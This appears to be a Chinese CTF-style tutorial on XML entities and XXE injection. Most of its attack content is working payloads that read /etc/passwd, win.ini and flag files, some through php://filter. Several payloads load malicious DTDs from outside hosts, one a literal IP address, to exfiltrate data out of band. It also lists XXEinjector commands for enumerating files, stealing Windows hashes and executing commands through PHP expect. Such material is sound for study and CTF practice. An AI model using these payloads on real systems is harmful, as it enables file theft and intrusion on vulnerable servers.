认识XML
定义
XML即 可扩展标记语言(EXtensible Markup Language),是一种标记语言,其标签没有预定义,需要自行定义标签。
与HTML的区别
HTML 被设计用来显示数据
XML 被设计用来传输和存储数据
基本格式
1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> <foo > &xxe; </foo >
DTD
DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。
1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
内部实体
1 2 3 4 5 6 7 <!DOCTYPE note [ <!ENTITY a "admin"> ]> <note>&a</note> <!-- admin -->#admin #<!ENTITY 实体名称 "实体的值">
外部实体
1 2 3 4 5 6 7 <!DOCTYPE note> [ <!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"> ]> <note>&c</note> <!-- ZmxhZ3t0ZXN0fQ== -->#flag{test} #<!ENTITY 实体名称 SYSTEM "URI">
参数实体
1 2 3 4 5 6 7 8 9 10 <!DOCTYPE note> [ <!ENTITY % b "<!ENTITY b1 "awsl">"> %b; ]> <note>&b1</note> <!-- awsl -->#awsl #<!ENTITY % 实体名称 "实体的值"> #<!ENTITY % 实体名称 SYSTEM "URI">
参数实体用% name声明,引用时用%name;,只能在DTD中声明,DTD中引用。
其余实体直接用name声明,引用时用&name;,只能在DTD中声明,可在xml文档中引用
外部参数实体
1 2 3 4 5 6 7 8 9 10 11 <!DOCTYPE note > [ <!ENTITY % d SYSTEM "http://47.106.143.26/xml.dtd" > %d; ]> <note > &d1</note > # <!ENTITY d1 SYSTEM "data://text/plain;base64,Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA==" > # #<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE a [ <!ENTITY % name SYSTEM "file:///etc/passwd" > %name;]>
认识XXE
定义
XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()
。
一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据。
有回显
利用外部实体
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [ <!ENTITY rabbit SYSTEM "file:///flag" > ]> <user > <username > &rabbit; </username > <password > 123</password > </user >
利用外部参数实体
1 2 3 4 5 6 <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://vps-ip/hack.dtd" > %file; ]> <test > &hhh; </test >
1 <!ENTITY hhh SYSTEM 'file:///etc/passwd' >
无回显
考虑利用公网服务器外带出flag
XXEinjector工具
安装教程
使用方法:
枚举HTTPS应用程序中的/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
使用gopher(OOB方法)枚举/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
二次漏洞利用:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
使用HTTP带外方法和netdoc协议对文件进行爆破攻击:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
通过直接性漏洞利用方式进行资源枚举:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
枚举未过滤的端口:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
窃取Windows哈希:
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
使用Java jar上传文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
使用PHP expect执行系统指令:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
测试XSLT注入:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
记录请求信息:
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
xxexploiter
[luisfontes19/xxexploiter: Tool to help exploit XXE vulnerabilities (github.com )](luisfontes19/xxexploiter: Tool to help exploit XXE vulnerabilities (github.com ))
未完待续
参考:
XXE知识总结,有这篇就够了!
CTF XXE